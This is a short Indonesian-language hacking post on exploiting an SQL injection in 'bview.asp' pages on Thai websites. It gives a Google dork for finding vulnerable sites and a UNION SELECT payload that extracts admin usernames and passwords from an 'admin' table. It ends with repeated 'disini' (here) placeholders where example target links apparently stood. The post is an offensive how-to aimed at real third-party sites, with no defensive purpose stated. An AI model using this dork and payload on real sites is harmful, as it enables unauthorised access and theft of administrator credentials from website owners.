bug asp thailand

bug yang di bahas terdapat di site thailand adalah \bview.asp

kita dapat mencarinya dengan menggunakan google dengan dork

allinurl:bview.asp?id=

cara exploitnya adalah dengan menambahkan
+union+select+0,useradmin,2,3,4,passadmin,6,7,8+from+admin setelah query bview.asp?id

seperti :

disini
disini
disini
disini
disini
disini